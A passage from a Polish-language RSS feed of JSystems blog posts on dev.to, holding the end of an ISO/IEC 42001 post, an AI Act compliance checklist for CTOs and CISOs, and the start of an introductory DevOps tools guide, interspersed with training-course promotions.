&lt;strong&gt;Ocena ryzyk AI&lt;/strong&gt; - per system, per use case&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Polityki i procedury&lt;/strong&gt; - AI policy, incident response, data governance&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Szkolenia&lt;/strong&gt; - awareness dla wszystkich, szczegółowe dla odpowiedzialnych za AI&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Wdrożenie i monitoring&lt;/strong&gt; - kontrole, metryki, audyty&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Certyfikacja&lt;/strong&gt; - audit przez jednostkę certyfikującą (opcjonalnie)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/szkolenia-ai;iso_42001_awareness.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post364&amp;amp;utm_content=banner_isoiec_42001_jak_wdrozyc_system_zarzadzania_ai_w_firmie_aims" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8d2mutfleuf5f4a9udm4.jpg" alt="Szkolenie JSystems" width="800" height="600"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Newsletter bloga JSystems&lt;/p&gt;

&lt;h3&gt;
  
  
  Otrzymuj nowe artykuły prosto na swoją skrzynkę
&lt;/h3&gt;

&lt;p&gt;Zapisz się do newslettera bloga JSystems - wiedza IT i AI bez szumu, prosto na Twoją skrzynkę.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/blog/subscribe2newsletter/" rel="noopener noreferrer"&gt;Zapisz się do newslettera&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Szkolenia ISO/IEC 42001 i AI Governance
&lt;/h3&gt;

&lt;p&gt;JSystems oferuje otwarte szkolenia z ISO 42001. Awareness (2 dni) i pełne wdrożenie AIMS (4 dni). Prowadzi Krzysztof Supowicz - ekspert compliance AI.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://jsystems.pl/szkolenia-ai;iso_42001_awareness.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post364&amp;amp;utm_content=link_isoiec_42001_jak_wdrozyc_system_zarzadzania_ai_w_firmie_aims" rel="noopener noreferrer"&gt;ISO 42001 Awareness - 2 dni&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://jsystems.pl/szkolenia-ai;iso_42001_implementation.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post364&amp;amp;utm_content=link_isoiec_42001_jak_wdrozyc_system_zarzadzania_ai_w_firmie_aims" rel="noopener noreferrer"&gt;ISO 42001 Wdrożenie AIMS - 4 dni&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/szkolenia-ai;iso_42001_implementation.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post364&amp;amp;utm_content=link_isoiec_42001_jak_wdrozyc_system_zarzadzania_ai_w_firmie_aims" rel="noopener noreferrer"&gt;Sprawdź terminy&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;To szkolenie może być &lt;a href="https://jsystems.pl/dofinansowanie?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post364&amp;amp;utm_content=dofinansowanie" rel="noopener noreferrer"&gt;dofinansowane dla Ciebie z KFS lub BUR&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;★★★★★Średnia ocena naszych szkoleń w Google: &lt;strong&gt;5/5&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>iso42001</category>
      <category>compliance</category>
      <category>ai</category>
      <category>governance</category>
    </item>
    <item>
      <title>AI Act 2026: praktyczny checklist dla CTO i CISO (bez prawniczego żargonu)</title>
      <dc:creator>Andrzej Klusiewicz</dc:creator>
      <pubDate>Tue, 25 Aug 2026 07:02:32 +0000</pubDate>
      <link>https://dev.to/andrzej_klusiewicz_08588c/ai-act-2026-praktyczny-checklist-dla-cto-i-ciso-bez-prawniczego-zargonu-g5k</link>
      <guid>https://dev.to/andrzej_klusiewicz_08588c/ai-act-2026-praktyczny-checklist-dla-cto-i-ciso-bez-prawniczego-zargonu-g5k</guid>
      <description>&lt;p&gt;Większość tekstów o AI Act brzmi jak wyciąg z Dziennika Ustaw. Poniżej checklist napisany z perspektywy CTO/CISO, który ma to ogarnąć w praktyce, nie w teorii — punkt po punkcie, bez prawniczego bełkotu.&lt;/p&gt;

&lt;h1&gt;
  
  
  AI ACT 2026 - praktyczny checklist dla CTO i CISO (bez prawniczego żargonu)
&lt;/h1&gt;

&lt;p&gt;Większość artykułów o &lt;a href="https://jsystems.pl/blog/show_post/ai_act_2026_co_musza_zrobic_polskie_firmy_zeby_byc_zgodne_z_prawem/" rel="noopener noreferrer"&gt;AI ACT&lt;/a&gt; jest pisana przez prawników dla prawników. Ten artykuł jest dla CTO i CISO którzy muszą podjąć konkretne decyzje techniczne i organizacyjne. Bez paragrafów - z actionable checklistami.&lt;/p&gt;

&lt;h2&gt;
  
  
  Krok 1: Zinwentaryzuj co używacie i co tworzycie
&lt;/h2&gt;

&lt;p&gt;Zanim zrobisz cokolwiek innego - musisz wiedzieć co masz. To jest fundament AI ACT compliance.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;✅ Checklista inwentaryzacji:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Lista wszystkich zewnętrznych narzędzi AI (ChatGPT Enterprise, Copilot, Grammarly AI, Salesforce Einstein, etc.)&lt;/li&gt;
&lt;li&gt;Lista wewnętrznych systemów z komponentem AI (automatyczne scoring, rekrutacja przez AI, monitoring pracowników)&lt;/li&gt;
&lt;li&gt;AI w produktach które sprzedajecie klientom&lt;/li&gt;
&lt;li&gt;AI w procesach HR (screening CV, ocena wydajności przez system)&lt;/li&gt;
&lt;li&gt;Modele LLM dostępne przez API (OpenAI, Anthropic, Azure OpenAI)&lt;/li&gt;
&lt;li&gt;Chatboty klienckie z AI&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Krok 2: Klasyfikuj ryzyka - co wymaga działania
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;🔴 Zakaz bezwzględny (sprawdź czy nie używasz):&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;☐ Social scoring pracowników lub klientów przez AI&lt;/li&gt;
&lt;li&gt;☐ Manipulacja zachowaniem użytkowników bez ich wiedzy&lt;/li&gt;
&lt;li&gt;☐ Identyfikacja emocji w miejscu pracy (stress detection przez kamerę)&lt;/li&gt;
&lt;li&gt;☐ Masowa biometria w przestrzeni publicznej&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;🟠 Wysokie ryzyko (wymaga dokumentacji i compliance):&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;☐ AI w rekrutacji i selekcji kandydatów&lt;/li&gt;
&lt;li&gt;☐ AI scoring zdolności kredytowej&lt;/li&gt;
&lt;li&gt;☐ AI w decyzjach o dostępie do ubezpieczeń&lt;/li&gt;
&lt;li&gt;☐ AI zarządzające infrastrukturą krytyczną&lt;/li&gt;
&lt;li&gt;☐ AI wspomagające decyzje sądowe lub administracyjne&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;🟢 Ograniczone ryzyko (transparency obligations):&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;☐ Chatboty muszą informować że są botami&lt;/li&gt;
&lt;li&gt;☐ Deepfake i AI-generated content musi być oznaczony&lt;/li&gt;
&lt;li&gt;☐ Systemy rozpoznawania emocji muszą informować użytkowników&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Krok 3: Dla systemów wysokiego ryzyka - dokumentacja
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;✅ Checklista dokumentacji (systemy high risk):&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;☐ Techniczna dokumentacja systemu AI (architektura, dane treningowe, metryki)&lt;/li&gt;
&lt;li&gt;☐ Ocena ryzyka i plan mitygacji&lt;/li&gt;
&lt;li&gt;☐ Procedury data governance (jakie dane, skąd, jak długo przechowywane)&lt;/li&gt;
&lt;li&gt;☐ Plan monitoringu po wdrożeniu (post-market surveillance)&lt;/li&gt;
&lt;li&gt;☐ Rejestracja w EU AI Database (dla HR, credit scoring, etc.)&lt;/li&gt;
&lt;li&gt;☐ Oznaczenie CE (dla dostawców wbudowanych systemów AI)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Krok 4: AI Literacy - obowiązek szkolenia pracowników
&lt;/h2&gt;

&lt;p&gt;AI ACT Art. 4 wymaga zapewnienia "odpowiedniej wiedzy o AI" osobom pracującym z systemami AI. To nie jest zalecenie - to wymóg prawny.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;✅ Checklista szkoleń:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;☐ Identyfikacja ról które pracują z systemami AI&lt;/li&gt;
&lt;li&gt;☐ &lt;a href="https://jsystems.pl/szkolenia-ai;iso_42001_awareness.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post363&amp;amp;utm_content=link_ai_act_2026_praktyczny_checklist_dla_cto_i_ciso_bez_prawniczego_zargonu" rel="noopener noreferrer"&gt;Szkolenie awareness&lt;/a&gt; dla wszystkich pracowników używających AI&lt;/li&gt;
&lt;li&gt;☐ Szkolenie zaawansowane dla osób zarządzających systemami AI&lt;/li&gt;
&lt;li&gt;☐ Dokumentacja szkoleń (kto, kiedy, co)&lt;/li&gt;
&lt;li&gt;☐ Plan odświeżania wiedzy (regulacje się zmieniają)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Krok 5: Polityka AI w organizacji
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;✅ Checklista polityk:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;☐ Polityka dozwolonego użycia AI (approved tools, forbidden use cases)&lt;/li&gt;
&lt;li&gt;☐ Polityka danych - co wolno wklejać do zewnętrznych LLM&lt;/li&gt;
&lt;li&gt;☐ Procedura oceny nowych narzędzi AI przed wdrożeniem&lt;/li&gt;
&lt;li&gt;☐ Procedura incydentów AI (co gdy model popełni błąd z poważnymi skutkami)&lt;/li&gt;
&lt;li&gt;☐ Odpowiedzialność - AI Owner dla każdego systemu wysokiego ryzyka&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Powyższe polityki formalizuje standard &lt;a href="https://jsystems.pl/blog/show_post/isoiec_42001_jak_wdrozyc_system_zarzadzania_ai_w_firmie_aims/" rel="noopener noreferrer"&gt;ISO/IEC 42001&lt;/a&gt; - System Zarządzania AI uznawany przez regulatorów jako dowód compliance z AI ACT.&lt;/p&gt;

&lt;h2&gt;
  
  
  Terminy które musisz znać
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Data&lt;/th&gt;
&lt;th&gt;Co wchodzi w życie&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Luty 2025&lt;/td&gt;
&lt;td&gt;Zakaz systemów AI niedopuszczalnego ryzyka&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sierpień 2025&lt;/td&gt;
&lt;td&gt;Wymogi dla modeli AI ogólnego przeznaczenia (GPT, Claude)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sierpień 2026&lt;/td&gt;
&lt;td&gt;Pełne stosowanie AI ACT - systemy wysokiego ryzyka&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2027&lt;/td&gt;
&lt;td&gt;Systemy AI w produktach objętych dyrektywami sektorowymi&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/szkolenia-ai;ai_act.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post363&amp;amp;utm_content=banner_ai_act_2026_praktyczny_checklist_dla_cto_i_ciso_bez_prawniczego_zargonu" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8d2mutfleuf5f4a9udm4.jpg" alt="Szkolenie JSystems" width="800" height="600"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Newsletter bloga JSystems&lt;/p&gt;

&lt;h3&gt;
  
  
  Otrzymuj nowe artykuły prosto na swoją skrzynkę
&lt;/h3&gt;

&lt;p&gt;Zapisz się do newslettera bloga JSystems - wiedza IT i AI bez szumu, prosto na Twoją skrzynkę.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/blog/subscribe2newsletter/" rel="noopener noreferrer"&gt;Zapisz się do newslettera&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Szkolenia AI ACT i AI Governance dla kadry technicznej
&lt;/h3&gt;

&lt;p&gt;JSystems oferuje dedykowane szkolenia dla CTO, CISO i compliance officerów: "Gotowość na AI ACT" (2 dni) i "AI Governance dla kadry zarządzającej" (2 dni). Prowadzi Krzysztof Supowicz.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://jsystems.pl/szkolenia-ai;ai_act.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post363&amp;amp;utm_content=link_ai_act_2026_praktyczny_checklist_dla_cto_i_ciso_bez_prawniczego_zargonu" rel="noopener noreferrer"&gt;Szkolenie AI ACT&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&amp;nbsp; &lt;a href="https://jsystems.pl/szkolenia-ai;ai_governance.szczegoly?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post363&amp;amp;utm_content=link_ai_act_2026_praktyczny_checklist_dla_cto_i_ciso_bez_prawniczego_zargonu" rel="noopener noreferrer"&gt;AI Governance&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To szkolenie może być &lt;a href="https://jsystems.pl/dofinansowanie?utm_source=blog&amp;amp;utm_medium=article&amp;amp;utm_campaign=post363&amp;amp;utm_content=dofinansowanie" rel="noopener noreferrer"&gt;dofinansowane dla Ciebie z KFS lub BUR&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;★★★★★Średnia ocena naszych szkoleń w Google: &lt;strong&gt;5/5&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>aiact</category>
      <category>compliance</category>
      <category>security</category>
      <category>ai</category>
    </item>
    <item>
      <title>Czym jest DevOps i jakich narzędzi używa (Git, Docker, Kubernetes, Prometheus, Grafana)</title>
      <dc:creator>Andrzej Klusiewicz</dc:creator>
      <pubDate>Mon, 24 Aug 2026 15:12:46 +0000</pubDate>
      <link>https://dev.to/andrzej_klusiewicz_08588c/czym-jest-devops-i-jakich-narzedzi-uzywa-git-docker-kubernetes-prometheus-grafana-1i0h</link>
      <guid>https://dev.to/andrzej_klusiewicz_08588c/czym-jest-devops-i-jakich-narzedzi-uzywa-git-docker-kubernetes-prometheus-grafana-1i0h</guid>
      <description>&lt;p&gt;DevOps to nie jedno narzędzie, tylko cała pętla i stos: Git, Docker, Kubernetes, Terraform, Ansible, Prometheus i Grafana. Pokazujemy je na prawdziwych wynikach z terminala. Oryginał jest na naszym blogu.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Frq2hcl1s87n2pc2eboha.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Frq2hcl1s87n2pc2eboha.png" alt="Pulpit Grafany z metrykami CPU, pamięci i sieci serwera - typowy widok pracy zespołu DevOps" width="800" height="591"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Tak w praktyce wygląda DevOps w akcji: żywy pulpit monitoringu (tutaj &lt;a href="https://jsystems.pl/blog/show_post/co_to_jest_grafana_przewodnik_dla_poczatkujacych/" rel="noopener noreferrer"&gt;Grafana&lt;/a&gt;) pokazujący kondycję działającej infrastruktury. To jeden z ostatnich elementów układanki, do którego dojdziemy. Po drodze rozłożymy na części pierwsze każde narzędzie, które sprawia, że taki widok jest w ogóle możliwy.&lt;/p&gt;

&lt;p&gt;DevOps to jedno z najczęściej wpisywanych w wyszukiwarkę pojęć w branży IT i jednocześnie jedno z najgorzej rozumianych. Dla jednych to nazwa stanowiska, dla innych zestaw modnych narzędzi, a dla jeszcze innych magiczne zaklęcie, które ma sprawić, że oprogramowanie zacznie wdrażać się samo. Żadna z tych odpowiedzi nie jest pełna. W tym przewodniku wyjaśnimy po kolei, czym DevOps naprawdę jest, z jakich narzędzi się składa i do czego każde z nich służy. Wszystkie przykłady w kodzie uruchomiliśmy naprawdę, więc widzisz autentyczne wyniki z terminala, a nie slajdy z prezentacji.&lt;/p&gt;

&lt;p&gt;Z tego artykułu dowiesz się:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Czym DevOps jest jako kultura i zestaw praktyk, a czym na pewno nie jest&lt;/li&gt;
&lt;li&gt;Jak wygląda pełna pętla życia oprogramowania i który etap obsługuje które narzędzie&lt;/li&gt;
&lt;li&gt;Do czego służą Git, Docker, Kubernetes, Terraform, Ansible, Prometheus i Grafana, na prawdziwych wynikach z terminala&lt;/li&gt;
&lt;li&gt;Jak te narzędzia łączą się w jeden potok, od zapisania kodu po działanie na produkcji&lt;/li&gt;
&lt;li&gt;Co DevOps realnie daje firmie, mierzone liczbami, a nie hasłami&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Czym właściwie jest DevOps (a czym nie jest)
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;DevOps to sposób pracy nad oprogramowaniem, który łączy tworzenie aplikacji (ang. development, w skrócie „dev") z jej utrzymaniem na serwerach (ang. operations, „ops") w jeden, wspólny i mocno zautomatyzowany proces.&lt;/strong&gt; To przede wszystkim kultura i zestaw praktyk, a narzędzia są dopiero konsekwencją. Sama nazwa jest zbitką słów „development" i „operations" i to nie przypadek, bo DevOps powstał dokładnie po to, żeby zburzyć mur między tymi dwoma światami.&lt;/p&gt;

&lt;p&gt;Warto od razu rozwiać trzy nieporozumienia. DevOps &lt;strong&gt;nie jest jednym narzędziem&lt;/strong&gt;: nie da się „kupić DevOps" ani zainstalować go z jednego pakietu. DevOps &lt;strong&gt;nie jest osobnym działem&lt;/strong&gt;, który wrzuca się między programistów a administratorów (to zwykle tworzy trzeci mur zamiast burzyć istniejące). I choć na rynku pracy istnieje stanowisko „DevOps Engineer", samo DevOps &lt;strong&gt;nie jest stanowiskiem&lt;/strong&gt;, tylko sposobem, w jaki cała organizacja dowozi i utrzymuje oprogramowanie.&lt;/p&gt;

&lt;p&gt;Skąd w ogóle wziął się ten mur? Z konfliktu celów. Programiści są rozliczani z tego, jak szybko dostarczają nowe funkcje, więc chcą wdrażać zmiany często. Administratorzy odpowiadają za stabilność, więc każda zmiana jest dla nich ryzykiem, które chcą ograniczać. W efekcie wdrożenie (ang. deployment, czyli udostępnienie nowej wersji aplikacji użytkownikom) stawało się rzadkim, stresującym wydarzeniem, a po każdej awarii zaczynało się wzajemne obwinianie. DevOps rozwiązuje ten spór, ustawiając obie strony po tej samej stronie: wspólna odpowiedzialność, wspólny potok i automatyzacja tam, gdzie wcześniej były ręczne przekazania „przez płot".&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fjsystems.pl%2Fstatic%2Fimages%2Flogo-colored.svg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fjsystems.pl%2Fstatic%2Fimages%2Flogo-colored.svg" alt="JSystems" width="230" height="72"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Przed DevOps
&lt;/h4&gt;

&lt;p&gt;Programiści (Dev): dowieźć nowe funkcje jak najszybciej&lt;/p&gt;

&lt;p&gt;M U R&lt;/p&gt;

&lt;p&gt;Administratorzy (Ops): utrzymać stabilność, ograniczać zmiany&lt;/p&gt;

&lt;p&gt;Rzadkie wdrożenia, ręczne przekazania, obwinianie po awarii.&lt;/p&gt;

&lt;h4&gt;
  
  
  Po wdrożeniu DevOps
&lt;/h4&gt;

&lt;p&gt;Jeden wspólny zespół i jeden zautomatyzowany potok: kod, testy, wdrożenie, monitoring.&lt;/p&gt;

&lt;p&gt;Wspólna odpowiedzialność za produkcję, automatyzacja zamiast ręcznej pracy, szybka informacja zwrotna.&lt;/p&gt;

&lt;p&gt;Częste, spokojne wdrożenia i szybka naprawa, gdy coś pójdzie nie tak.&lt;/p&gt;

&lt;p&gt;Sedno DevOps to zburzenie muru między tworzeniem a utrzymaniem oprogramowania i zastąpienie ręcznych przekazań wspólnym, zautomatyzowanym potokiem.&lt;/p&gt;

&lt;p&gt;Żeby ta zmiana kultury nie została pustym hasłem, w środowisku DevOps przyjęło się pięć filarów opisywanych skrótem &lt;strong&gt;CALMS&lt;/strong&gt;: &lt;strong&gt;Culture&lt;/strong&gt; (kultura wspólnej odpowiedzialności), &lt;strong&gt;Automation&lt;/strong&gt; (automatyzacja powtarzalnych czynności), &lt;strong&gt;Lean&lt;/strong&gt; (dostarczanie małymi porcjami, bez marnotrawstwa), &lt;strong&gt;Measurement&lt;/strong&gt; (mierzenie wszystkiego, bo bez pomiaru nie wiadomo, czy jest lepiej) i &lt;strong&gt;Sharing&lt;/strong&gt; (dzielenie się wiedzą zamiast trzymania jej w silosach). Zapamiętaj te pięć słów, bo do każdego z nich wrócimy przy konkretnych narzędziach.&lt;/p&gt;

&lt;h2&gt;
  
  
  Pętla DevOps: cykl życia oprogramowania
&lt;/h2&gt;

&lt;p&gt;DevOps najłatwiej zrozumieć jako &lt;strong&gt;ciągłą pętlę&lt;/strong&gt;, a nie jednorazowy proces „od-do". Oprogramowanie się planuje, pisze, buduje, testuje, wydaje, wdraża, utrzymuje i monitoruje, a wnioski z monitoringu wracają do planowania kolejnej zmiany. Ta pętla nigdy się nie zatrzymuje. Klasycznie rysuje się ją jako znak nieskończoności, w którym lewa połowa należy do „dev", a prawa do „ops". Każdy etap ma swoje narzędzia i to właśnie ich zestaw nazywamy potocznie „narzędziami DevOps".&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fjsystems.pl%2Fstatic%2Fimages%2Flogo-colored.svg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fjsystems.pl%2Fstatic%2Fimages%2Flogo-colored.svg" alt="JSystems" width="230" height="72"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;PLANplanowanie&lt;br&gt;
KODpisanie&lt;br&gt;
BUILDbudowanie&lt;br&gt;
TESTtesty&lt;/p&gt;

&lt;p&gt;RELEASEwydanie&lt;br&gt;
DEPLOYwdrożenie&lt;br&gt;
OPERATEutrzymanie&lt;br&gt;
MONITORobserwacja&lt;/p&gt;

&lt;p&gt;DevOps&lt;br&gt;
ciągła pętla&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Plan / Kod:&lt;/strong&gt; Git, systemy zgłoszeń&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Build:&lt;/strong&gt; Docker, kompilatory&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Test:&lt;/strong&gt; frameworki testów, CI&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Release:&lt;/strong&gt; GitHub Actions, GitLab CI, Jenkins&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Deploy:&lt;/strong&gt; Kubernetes, Helm, Terraform, Ansible&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Operate / Monitor:&lt;/strong&gt; chmura, Proxmox, Prometheus, Grafana, Loki&lt;/p&gt;

&lt;p&gt;Osiem etapów cyklu życia oprogramowania w DevOps. Górna połowa to „dev" (planowanie, kod, budowanie, testy), dolna to „ops" (wydanie, wdrożenie, utrzymanie, monitoring). Kropka krąży, bo pętla nigdy się nie kończy: wnioski z monitoringu wracają do planowania.&lt;/p&gt;

&lt;p&gt;Przejdźmy teraz przez tę pętlę od strony narzędzi. To najważniejsza część przewodnika, bo odpowiada wprost na pytanie „jakich narzędzi używa DevOps i do czego".&lt;/p&gt;
&lt;h2&gt;
  
  
  DevOps, CI/CD, SRE, GitOps, DevSecOps: co jest czym
&lt;/h2&gt;

&lt;p&gt;Zanim wejdziemy w narzędzia, uporządkujmy pojęcia, które krążą razem z DevOps i bywają ze sobą mylone. Wszystkie należą do tej samej rodziny, ale każde odpowiada na trochę inne pytanie.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fjsystems.pl%2Fstatic%2Fimages%2Flogo-colored.svg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fjsystems.pl%2Fstatic%2Fimages%2Flogo-colored.svg" alt="JSystems" width="230" height="72"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;DevOps&lt;/p&gt;

&lt;p&gt;Kultura i praktyki łączące tworzenie i utrzymanie oprogramowania. Parasol, pod którym mieści się reszta pojęć.&lt;/p&gt;

&lt;p&gt;CI/CD&lt;/p&gt;

&lt;p&gt;Ciągła integracja i ciągłe dostarczanie (ang. Continuous Integration / Continuous Delivery). Konkretna praktyka DevOps: automatyczny potok build, test, wdrożenie po każdej zmianie.&lt;/p&gt;

&lt;p&gt;SRE&lt;/p&gt;

&lt;p&gt;Site Reliability Engineering, podejście spopularyzowane przez Google. Utrzymanie traktowane jak inżynieria, z budżetem błędów (ang. error budget) i celami niezawodności (SLO).&lt;/p&gt;

&lt;p&gt;Platform Engineering&lt;/p&gt;

&lt;p&gt;Budowanie wewnętrznej platformy i gotowych ścieżek (ang. golden paths), z których programiści korzystają samodzielnie, bez proszenia „ops" o każdą drobnostkę.&lt;/p&gt;

&lt;p&gt;GitOps&lt;/p&gt;

&lt;p&gt;Git jako jedyne źródło prawdy o infrastrukturze. Stan systemu opisany deklaratywnie w repozytorium, a narzędzie samo doprowadza produkcję do tego stanu.&lt;/p&gt;

&lt;p&gt;DevSecOps&lt;/p&gt;

&lt;p&gt;DevOps z bezpieczeństwem wpiętym w potok od początku, a nie doklejanym na końcu. Skanowanie podatności jest częścią pipeline'u.&lt;/p&gt;

&lt;p&gt;Sześć pojęć z jednej rodziny. DevOps jest parasolem kulturowym, a CI/CD, SRE, Platform Engineering, GitOps i DevSecOps to konkretne odpowiedzi na pytanie „jak robić DevOps dobrze".&lt;/p&gt;

&lt;p&gt;W praktyce nie musisz wybierać jednego z nich. Firma może stosować DevOps jako kulturę, budować potoki CI/CD, prowadzić utrzymanie w duchu SRE, dawać programistom platformę i wdrażać zmiany w modelu GitOps, a przy tym mieć skanery bezpieczeństwa w każdym potoku. To wszystko warstwy tej samej filozofii.&lt;/p&gt;
&lt;h2&gt;
  
  
  Narzędzia DevOps: co, po co i jak wyglądają w praktyce
&lt;/h2&gt;

&lt;p&gt;Nie istnieje jedno „narzędzie DevOps". Istnieje zestaw narzędzi, w którym każde obsługuje inny etap pętli. Poniższa mapa porządkuje je według zadania, a potem przejdziemy przez najważniejsze z nich z prawdziwymi wynikami z terminala.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fjsystems.pl%2Fstatic%2Fimages%2Flogo-colored.svg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fjsystems.pl%2Fstatic%2Fimages%2Flogo-colored.svg" alt="JSystems" width="230" height="72"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🔄&lt;/p&gt;

&lt;p&gt;Kontrola wersji&lt;/p&gt;

&lt;p&gt;Git, GitHub, GitLab&lt;/p&gt;

&lt;p&gt;⚙️&lt;/p&gt;

&lt;p&gt;CI/CD&lt;/p&gt;

